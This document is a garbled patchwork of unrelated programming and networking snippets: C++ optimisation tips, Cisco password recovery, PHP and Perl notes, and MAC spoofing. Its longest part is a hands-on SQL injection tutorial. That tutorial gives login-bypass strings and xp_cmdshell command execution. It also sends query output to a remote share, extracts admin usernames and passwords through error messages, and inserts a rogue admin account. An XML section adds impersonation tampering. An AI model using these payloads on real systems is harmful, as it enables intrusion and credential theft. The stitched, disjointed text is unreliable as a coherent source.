6. Declare local variables in the inner most scope
7. Reduce the number of parameters
8. Use references for parameter passing and return value for types bigger than 4 bytes
9. Don't define a return value if not used
10. Consider locality of reference for code and data
11. Prefer int over char and short
12. Define lightweight constructors
13. Prefer initialization over assignment
14. Use constructor initialization lists
15. Do not declare "just in case" virtual functions
16. In-line 1 to 3 line functions
Many techniques discussed here have roots in the material we covered in the articles dealing with C to Assembly translation. A good understanding of the following articles will help:
* C To Assembly Translation
* C To Assembly Translation II
* C To Assembly Translation III
Adjust structure sizes to power of two
When arrays of structures are involved, the compiler performs a multiply by the structure size to perform the array indexing. If the structure size is a power of 2, an expensive multiply operation will be replaced by an inexpensive shift operation. Thus keeping structure sizes aligned to a power of 2 will improve performance in array indexing.
Place case labels in narrow range
If the case labels are in a narrow range, the compiler does not generate a if-else-if cascade for the switch statement. Instead, it generates a jump table of case labels along with manipulating the value of the switch to index the table. This code generated is faster than if-else-if cascade code that is generated in cases where the case labels are far apart. Also, performance of a jump table based switch statement is independent of the number of case entries in switch statement.
Place frequent case labels first
If the case labels are placed far apart, the compiler will generate if-else-if cascaded code with comparing for each case label and jumping to the action for leg on hitting a label match. By placing the frequent case labels first, you can reduce the number of comparisons that will be performed for frequently occurring scenarios. Typically this means that cases corresponding to the success of an operation should be placed before cases of failure handling.
Break big switch statements into nested switches
The previous technique does not work for some compilers as they do not generate the cascade of if-else-if in the order specified in the switch statement. In such cases nested switch statements can be used to get the same effect.
To reduce the number of comparisons being performed, judiciously break big switch statements into nested switches. Put frequently occurring case labels into one switch and keep the rest of case labels into another switch which is the default leg of the first switch.
Splitting a Switch Statement
// This switch statement performs a switch on frequent messages and handles the
// infrequent messages with another switch statement in the default leg of the outer
// switch statement
pMsg = ReceiveMessage();
switch (pMsg->type)
{
case FREQUENT_MSG1:
handleFrequentMsg1();
break;
case FREQUENT_MSG2:
handleFrequentMsg2();
break;
. . .
case FREQUENT_MSGn:
handleFrequentMsgn();
break;
default:
// Nested switch statement for handling infrequent messages.
switch (pMsg->type)
{
case INFREQUENT_MSG1:
handleInfrequentMsg1();
break;
case INFREQUENT_MSG2:
handleInfrequentMsg2();
break;
. . .
case INFREQUENT_MSGm:
handleInfrequentMsgm();
break;
}
}
Minimize local variables
If the number of local variables in a function is less, the compiler will be able to fit them into registers. Hence, it will be avoiding frame pointer operations on local variables that are kept on stack. This can result in considerable improvement due to two reasons:
* All local variables are in registers so this improves performance over accessing them from memory.
* If no local variables need to be saved on the stack, the compiler will not incur the overhead of setting up and restoring the frame pointer.
Declare local variables in the inner most scope
Do not declare all the local variables in the outermost function scope. You will get better performance if local variables are declared in the inner most scope. Consider the example below; here object a is needed only in the error case, so it should be invoked only inside the error check. If this parameter was declared in the outermost scope, all function calls would have incurred the overhead of object a's creation (i.e. invoking the default constructor for a).
Local varialble scope
int foo(char *pName)
{
if (pName == NULL)
{
A a;
...
return ERROR;
}
...
return SUCCESS;
}
Reduce the number of parameters
Function calls with large number of parameters may be expensive due to large number of parameter pushes on stack on each call. For the same reason, avoid passing complete structures as parameters. Use pointers and references in such cases.
Use references for parameter passing and return value for types bigger than 4 bytes
Passing parameters by value results in the complete parameter being copied on to the stack. This is fine for regular types like integer, pointer etc. These types are generally restricted to four bytes. When passing bigger types, the cost of copying the object on the stack can be prohibitive. In case of classes there will be an additional overhead of invoking the constructor for the temporary copy that is created on the stack. When the function exits the destructor will also be invoked.
Thus it is efficient to pass references as parameters. This way you save on the overhead of a temporary object creation, copying and destruction. This optimization can be performed easily without a major impact to the code by replacing pass by value parameters by const references. (It is important to pass const references so that a bug in the called function does not change the actual value of the parameter.
Passing bigger objects as return values also has the same performance issues. A temporary return object is created in this case too.
Don't define a return value if not used
The called function does not "know" if the return value is being used. So, it will always pass the return value. This return value passing may be avoided by not defining a return value which is not being used.
Consider locality of reference for code and data
The processor keeps data or code that is referenced in cache so that on its next reference if gets it from cache. These cache references are faster. Hence it is recommended that code and data that are being used together should actually be placed together physically. This is actually enforced into the language in C++. In C++, all the object's data is in one place and so is code. When coding is C, the declaration order of related code and functions can be arranged so that closely coupled code and data are declared together.
Prefer int over char and short
With C and C++ prefer use of int over char and short. The main reason behind this is that C and C++ perform arithmetic operations and parameter passing at integer level, If you have an integer value that can fit in a byte, you should still consider using an int to hold the number. If you use a char, the compiler will first convert the values into integer, perform the operations and then convert back the result to char.
Lets consider the following code which presents two functions that perform the same operation with char and int.
Compaing char and int operations
char sum_char(char a, char b)
{
char c;
c = a + b;
return c;
}
int sum_int(int a, int b)
{
int c;
c = a + b;
return c;
}
A call to sum_char involves the following operations:
1. Convert the second parameter into an int by sign extension (C and C++ push parameters in reverse)
2. Push the sign extended parameter on the stack as b.
3. Convert the first parameter into an int by sign extension.
4. Push the sign extended parameter on to the stack as a.
5. The called function adds a and b
6. The result is cast to a char.
7. The result is stored in char c.
8. c is again sign extended
9. Sign extended c is copied into the return value register and function returns to caller.
10. The caller now converts again from int to char.
11. The result is stored.
A call to sum_int involves the following operations:
1. Push int b on stack
2. Push int a on stack
3. Called function adds a and b
4. Result is stored in int c
5. c is copied into the return value register and function returns to caller.
6. The called function stores the returned value.
Thus we can conclude that int should be used for all interger variables unless storage requirements force us to use a char or short. When char and short have to be used, consider the impact of byte alignment and ordering to see if you would really save space. (Many processors align structure elements at 16 byte boundaries)
Define lightweight constructors
As far as possible, keep the constructor light weight. The constructor will be invoked for every object creation. Keep in mind that many times the compiler might be creating temporary object over and above the explicit object creations in your program. Thus optimizing the constructor might give you a big boost in performance. If you have an array of objects, the default constructor for the object should be optimized first as the constructor gets invoked for every object in the array.
Prefer initialization over assignment
Consider the following example of a complex number::
Initialization and assignment
void foo()
{
Complex c;
c = (Complex)5;
}
void foo_optimized()
{
Complex c = 5;
}
In the function foo, the complex number c is being initialized first by the instantiation and then by the assignment. In foo_optimized, c is being initialized directly to the final value, thus saving a call to the default constructor of Complex.
Use constructor initialization lists
Use constructor initialization lists to initialize the embedded variables to the final initialization values. Assignments within the constructor body will result in lower performance as the default constructor for the embedded objects would have been invoked anyway. Using constructor initialization lists will directly result in invoking the right constructor, thus saving the overhead of default constructor invocation.
In the example given below, the optimized version of the Employee constructor saves the default constructor calls for m_name and m_designation strings.
Constructor initialization lists
Virtual function calls are more expensive than regular function calls so do not make functions virtual "just in case" somebody needs to override the default behavior. If the need arises, the developer can just as well edit the additional base class header file to change the declaration to virtual.
In-line 1 to 3 line functions
Converting small functions (1 to 3 lines) into in-line will give you big improvements in throughput. In-lining will remove the overhead of a function call and associated parameter passing. But using this technique for bigger functions can have negative impact on performance due to the associated code bloat. Also keep in mind that making a method inline should not increase the dependencies by requiring a explicit header file inclusion when you could have managed by just using a forward reference in the non-inline version. (See the article on header file include patterns for more details).
Related Links
* C To Assembly Translation
* C To Assembly Translation II
* C To Assembly Translation III
* Byte Alignment and Ordering
* Header File Include Patterns
* C++ to C Mapping
The following procedure describes the process in recovering from a lost password on a Cisco 2500 router.
The router must first be rebooted and a “break” performed within the first 60 seconds of the boot process. This break sequence can also vary depending on what program is used to access the router, but is the usual key combination.
The router will now be in ROM Monitor mode. From the rom monitor prompt, change the default configuration register of 0x2102 to 0x2142 with the o/r 0x2142 command. Reload the router with the letter i. (As you can see, ROM Monitor mode is a lot different than working with the IOS!)
This particular config register setting will cause the router to ignore the contents of NVRAM. Your startup configuration is still there, but it will be ignored on reload.
When the router reloads, you’ll be prompted to enter Setup mode. Answer “N”, and type enable at the router> prompt.
Be careful here. Type configure memory or copy start run. Do NOT type write memory or copy run start!
Enter the command show running-config. You’ll see the passwords in either their encrypted or unencrypted format.
Type config t, then use the appropriate command to set a new enable secret or enable password.
Don’t forget to change the configuration register setting back to the original value! The command config-register 0x2102 will do the job. Save this change with write memory or copy run start, and then run reload one more time to restart the router.
"Hello World" is the first program one usually writes when learning a new programming language. Here is a collection of 296 Hello World programs in many more-or-less well known programming languages.
The list was compiled by Wolfram Rösler with help from many people around the world. It was started on 03-Oct-1994, put on the Internet on 30-Dec-1999, and exceeded 200 entries on 14-Jul-2005. It is administered as a bunch of text files which are compiled into this single HTML file by a bash script executed under the Cygwin environment, run on Windows.
The following program, uses a list of integers to keep track of which modems are locked, glob.glob to do filename expansion, and os.system to run a kermit command when a free modem has been found
#!/usr/bin/env python
# find a free modem to dial out on
import glob, os, string
LOCKS = "/var/spool/locks/"
locked = [0] * 10
for lockname in glob.glob(LOCKS + "LCK*modem*"): # find locked modems
print "Found lock:", lockname
locked [string.atoi(lockname[-1])] = 1 # 0..9 at end of name
print 'free:'
for i in range (10): # report, dial-out
if not locked[i]: print i,
print
for i in range(10):
if not locked [i]:
if raw_input ("Try %d? " % i) == 'y':
os.system ("kermit -m hayes -l /dev/modem%d -b 19200 -s" % i)
if raw_input ("More? ") != 'Y': break
The program above works only if there are 10 or fewer modems; if there are more, you'd need to use larger lists and loops, and parse the lock filename, not just look at its last character.
If you are unfamiliar with XML, you will quickly realize that it is a mark-up language very similar to HTML. You can perform the same attacks against XML as you would against an ASP file that you suspect is vulnerable to a SQL injection attack. However, instead of throwing spurious tick characters in a URL parameter, you must modify the POST data sent by the XML service. Look at this very simple XML request. This example code makes a POST to a web application in order to view user profile. In response, the web application returns XML-formatted data that contains e-mail address, home address, and phone number.
POST /foo/ViewProfile HTTP/1.0
Content-Type: text/xml
Content-length: 95
User
Perform an impersonation attack by replacing user with user-1. You would perform an input validation attack by replacing user withAAAAAAAAAAA.You would perform a SQL injection attack by appending a tick (‘) to user. So, the methodology is the same, only the attack vector has differed. There might be some other tests to try against this example. We see that there is a method. Well, what if we submit a request
that uses a method? Perhaps one can modify an arbitrary user’s information. Both the GetProfile and SetProfile, if it exists, should be defined in the application’s *.wsdl file.
PHP succeeds an older product, named PHP/FI. PHP/FI was created by Rasmus Lerdorf in 1995, initially as a simple set of Perl scripts for tracking accesses to his online resume. He named this set of scripts 'Personal Home Page Tools'. As more functionality was required, Rasmus wrote a much larger C implementation, which was able to communicate with databases, and enabled users to develop simple dynamic Web applications. Rasmus chose to release the source code for PHP/FI for everybody to see, so that anybody can use it, as well as fix bugs in it and improve the code.
PHP/FI, which stood for Personal Home Page / Forms Interpreter, included some of the basic functionality of PHP as we know it today. It had Perl-like variables, automatic interpretation of form variables and HTML embedded syntax. The syntax itself was similar to that of Perl, albeit much more limited, simple, and somewhat inconsistent. PHP/FI 2.0 was officially released only in November 1997, after spending most of its life in beta releases. It was shortly afterwards succeeded by the first alphas of PHP 3.0.
PHP 3
PHP 3.0 was the first version that closely resembles PHP as we know it today. It was created by Andi Gutmans and Zeev Suraski in 1997 as a complete rewrite, after they found PHP/FI 2.0 severely underpowered for developing an eCommerce application they were working on for a University project. In an effort to cooperate and start building upon PHP/FI's existing user-base, Andi, Rasmus and Zeev decided to cooperate and announce PHP 3.0 as the official successor of PHP/FI 2.0, and development of PHP/FI 2.0 was mostly halted. PHP 3.0 was officially released in June 1998, after having spent about 9 months in public testing.
PHP 4
By the winter of 1998, shortly after PHP 3.0 was officially released, Andi Gutmans and Zeev Suraski had begun working on a rewrite of PHP's core. The design goals were to improve performance of complex applications, and improve the modularity of PHP's code base. Such applications were made possible by PHP 3.0's new features and support for a wide variety of third party databases and APIs, but PHP 3.0 was not designed to handle such complex applications efficiently.
PHP 5
PHP 5 was released in July 2004 after long development and several pre-releases. It is mainly driven by its core, the Zend Engine 2.0 with a new object model
This function is used to retrieve the host name associated with an IP.
Use this function to perform a reverse DNS lookup and put a name to an IP address - for example, the IP addresses recorded in your Web server logs.
Code:
echo gethostbyaddr('216.239.115.148');
?>
Output:
c10-sha-redirect-lb.cnet.com
gethostbyname($name)
This function does the reverse of gethostbyaddr(), retrieving the IP address associated with a host name.
Use this function to perform a standard DNS lookup and get the IP address associated with a host name - for example, when automatically blacklisting suspicious domains.
Code:
echo gethostbyname('techrepublic.com');
?>
Output:
216.239.115.148
ip2long($ip) and long2ip($long)
These functions convert IP addresses in dotted-quad notation to long integers, or the other way around.
Use these functions when you need to represent IP addresses in integer format (typically for numerical calculations), or vice-versa.
Code:
echo ip2long('216.239.115.148');
echo long2ip(-655395948);
?>
Output:
-655395948
216.239.115.148
checkdnsrr ($host, $type)
This function checks the DNS for records corresponding to type $type for host $host and returns Boolean true if found.
Use this function to evaluate whether a particular type of DNS record exists for a host.
Code:
$ret = checkdnsrr('techrepublic.com', SOA);
if ($ret) {
echo 'SOA records exist for host';
} else {
echo 'SOA records do not exist for host';
}
?>
Output:
SOA records exist for host
dns_get_record($host, $type)
This function returns the DNS record for host $host. The optional $type parameter can be used to retrieve only those subsets matching a specified type.
Use this function to retrieve detailed DNS records for a particular host.
Code:
$data = dns_get_record('techrepublic.com');
print_r($data);
?>
These functions retrieve protocol names and numbers from the system-wide /etc/protocols file.
Use this function to retrieve system protocol information, either by name or number.
This function is used to retrieve the port number for the service $service using the protocol $protocol, from the system-wide /etc/services file.
Use this function to dynamically obtain information on ports for running system services.
Code:
echo getservbyname('http', 'tcp');
?>
Output:
80
inet_ntop($addr) and inet_pton($addr)
These functions unpack and pack IP addresses between binary format and human-readable addresses.
Use this function to convert between IPv4/IPv6 address strings and binary representation.
1) Want to know what OS you are running under? Check the $^O variable. Under Windows it may contain "MSWin32", under Linux it simply contains "linux".
2) Want to know how long your script has been running to the nearest second? $^T contains the time your script started, so simply subtract it from the current time.
$runningfor = time - $^T;
Note that this is only accurate to the nearest second, so it is not much use for short lived scripts.
3) Need a fast way of getting rid of the second half of an array? Simply divide $#array by two, where array is the name of the @array.
$#array /= 2;
Naturally, other arithmetic operations on $#array will work too.
4) A quick way to set a variable to a default value if it evaluates to false is to use the ||= operator.
$color ||= 'black';
Will set $color to black if it is empty, undefined or contains zero. Otherwise it will retain its original value.
5) Ever fancied a one-liner to dump a hash?
print "$_ = $hash{$_}\n" for (sort keys %hash);
If you don't care whether the hash keys are sorted, remove the sort keyword.
6) Want to assign to the next available value of an array? Evaluating an array in scalar context gives the number of elements in the array, and as arrays are base 0 you can write:-
$array[@array] = 'What to add';
Alternatively, this could be done using push:
push @array, 'What to add';
Which is more readable.
7) Want to use warnings, but have some code that won't run under the pragma? Simply turn them off for that bit of code by putting:-
no warnings;
To turn them back on, just put "use warnings;" again. This works for other pragmatic modules, including "strict".
8) You can check the syntax of your script at the command line by typing:-
perl -c yourscript.pl
9) Need to give Perl a hint about where your module files might be? Simply do this:-
use lib '/home/mymodules';
10) When doing a pattern match, you sometimes want to use brackets to group things, but prevent them from capturing. The capturing can be stopped by putting ?: after the opening bracket, e.g.
/a (?:black|grey|white) cat/
11) When you bind a variable to a substitution, the expression as a whole will return the number of substitutions made, e.g.
$replacements =$myvar =~s/foo/bar/g;
12) Want to count the number of times $word appears in $text?
my $numtimes = 0;
$numtimes++ while ($text =~ /\b $word \b/gx));
13) Want to make a table of the number of times each word in $text appears?
my %words = ();
$words{lc($_)}++ for $text =~ /\b([\w']+)\b/g;
Each key of the %words hash will be a word in $text, and the value is the number of times that word appeared.
14) Does your pattern look like an unreadable mess? Use the x modifier and you can put spaces, newlines and comments in your pattern, and they will be ignored when the pattern is compiled.
15) Turn "ThisTextWithoutSpaces" into "This Text Without Spaces" like this:-
$text =~ s/([a-z])([A-Z])/$1 $2/g;
16) Look up the documentation on a Perl module (those installed on your system) at the command line using the perldoc command, e.g.
perldoc CGI
17) If you are doing many pattern matches on a particular string, you may be able to improve performance by having Perl study the string first, e.g.
study $string;
#Now do lots of pattern matches on $string...
Another optimisation if your pattern contains a variable that will remain constant is to add the "o" modifier, which only compiles the pattern the first time it is matched.
18) Get the size of a file in bytes quickly like this:-
$size = -s "path/to/file.txt";
19) Running Windows? Got a file with UNIX line endings? Let Perl lend you hand. Drop to the console and put:-
20) Got a chunk of obfuscated or just plain messy and hard to read Perl code? The Deparse module may be able to help. It compiles, then decompiles the program it is given, expanding it out and formatting it nicely. To run it at the command line, type "perl -MO=Deparse prog.pl". Here is an example of its usage, showing the input program (red) and the output of Deparse (blue).
You read right you can now run perl 6 in your browser, and its amazing
Here is some info that you should know
Instructions: runpugs presents the pugs interactive shell. Only the line typed at the last prompt is sent to pugs. Type :h for help, :q to quit.
Please be considerate and do close your pugs session with :q before you close the browser window.
Type clear to clear the web terminal (this command is not sent to pugs).
Because this is a web terminal, a number of restrictions apply:
* pugs shell runs in safe mode, so system-related calls are disabled.
* If a call takes too long, the pugs session will time out.
* If left idle for too long, the pugs session will time out.
* The total number of sessions and number of sessions from a given IP address are limited.
* Memory available to pugs is severely limited.
The current values relating to the above restrictions are:
* Total number of sessions: 50
* Inactivity time-out: 10 minutes
* "Long" call time-out: 10 seconds
* Sessions per IP: 10
* Available memory: 64M.
All of these are open to change if they would prove to be too restrictive.
runpugs is a very young project, and there will certainly be some bugs. Some known issues are:
* Unicode is not supported.
* There is no command history.
1 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.
1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.
1.2 What do you need?
Any web browser.
2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
Everything between the have potential parameters that might be useful (exploit wise).
2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:
http://duck/index.asp?id=10
3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:
If luck is on your side, you will get login without any login name or password.
3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:
http://duck/index.asp?category=food
In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:
SELECT * FROM product WHERE PCategory='food'
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--
Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working.
The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:
#tcpdump icmp
If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.
5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
But the target IP must folder "share" sharing for Everyone.
6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:
http://duck/index.asp?id=10
We will try to UNION the integer '10' with another string from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".
To get the next table name, we can use the following query:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
We also can search for data using LIKE keyword:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".
6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the next column name:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.
Now, let's get the first login_name from the "admin_login" table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
We can now login as "neo" with his password "m4trix".
6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.
To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Now, you can even login as 'trinity' with the password '31173'.
7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
To INSERT a new record into the database:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
We can now login as "neo2" with the password of "newpas5".
8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie
For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.
Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.
Delete stored procedures that you are not using like:
A MAC address can go by other names, including physical address (in Windows), Ethernet address, and hardware address. Whatever you call it, this address is a 12-character hexadecimal string. Here are some examples:
In Windows, you can find out your MAC address using the ipconfig /all command. Listing A offers an example.
In the command's output, you can find the MAC address under the Physical Address listing. You can find out similar information from the switch this PC connects to using the show mac-address-table command. Here's an example:
Switch# show mac-address-table
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
All 0014.1c40.b080 STATIC CPU
All 0100.0ccc.cccc STATIC CPU
All 0100.0ccc.cccd STATIC CPU
All 0100.0cdd.dddd STATIC CPU
1 000f.1fd3.d85a DYNAMIC Fa0/14
On a Cisco router, you can find out which MAC addresses your interfaces use with the show interfaces command. Here's an example:
RouterB# show interfaces
Ethernet0/0 is up, line protocol is up
Hardware is AmdP2, address is 0003.e39b.9220 (bia 0003.e39b.9220)
Internet address is 1.1.1.1/8
On the second line of each interface, you'll see the hardware address line with the BIA (burned in address). In this case, the hardware address is 0003.e39b.9220.
Each Ethernet interface on a Cisco router has its own Ethernet MAC address. Special devices such as routers and switches have a number of special built-in addresses such as the four displayed above in the show mac-address-table output; these are the lines with the STATIC type listed.
Change my MAC address
Changing your MAC address from the default is what we call MAC spoofing. This term has a negative connotation because its more popular uses are for improper activities, particularly wireless network hacking. However, MAC spoofing does have legitimate uses, such as testing MAC filtering.
To change your MAC address on a Cisco router, use the mac-address command while in Interface Configuration Mode. Just use the command with the new MAC address—it's that simple. Here's an example:
RouterB# conf t
Enter configuration commands, one per line. End with CNTL/Z.
RouterB(config)# int e0/0
RouterB(config-if)# mac-address 0000.0000.0001
RouterB(config-if)#^Z
RouterB#
RouterB# show int e0/0
Ethernet0/0 is up, line protocol is up
Hardware is AmdP2, address is 0000.0000.0001 (bia 0003.e39b.9220)
Internet address is 1.1.1.1/8
After changing the MAC address, you can view the new one using the show interfacecommand.
Filter traffic based on MAC address
Let's say that, through a protocol analyzer, you find a device sending unwanted traffic on your network. It looks like this device is multi-homed—that is, it's sending traffic from multiple IP addresses.
You could find the switch port it's on using the show mac-address-table command and perform a shutdown on the port. But what if it connects to a hub with other devices or comes from some network not under your control?
Another option is to filter the traffic on the router or switch using a MAC address filter. Here's an example.
Cat3750Switch(config)# mac access-list ext filtermac
Cat3750Switch(config-ext-macl)# deny host 0000.0000.0001 any
Cat3750Switch(config-ext-macl)# permit any any
Cat3750Switch(config-ext-macl)# exit
Cat3750Switch(config)# int g1/0/40
Cat3750Switch(config-if)# mac access-group filtermac in
In this example—using a Cisco Catalyst 3750 Gigabit Ethernet switch—we created an extended named MAC address access control list called filtermac. This ACL denies all traffic with a source MAC address of 0000.0000.0001 and permits all other traffic. We then applied this MAC address ACL to Gigabit Ethernet interface 1/0/40, which prevents traffic from entering that port from any device with that MAC address, no matter what the IP address.
Let's begin with a simple example: dynamically creating a ZIP archive that contains a few other files. Start with the script in Listing A.
Listing A
include ('Archive/Zip.php'); // imports
$obj = new Archive_Zip('test.zip'); // name of zip file
$files = array('mystuff/ad.gif',
'mystuff/alcon.doc',
'mystuff/alcon.xls'); // files to store
if ($obj->create($files)) {
echo 'Created successfully!';
} else {
echo 'Error in file creation';
}
?>
This script is quite simple, but it's worth looking at it in detail:
1. Here, the first step is to create an instance of the Archive_Zip class, and initialize it with the path and name of the ZIP archive to be created. In this example, the archive is named test.zip and located in the current directory.
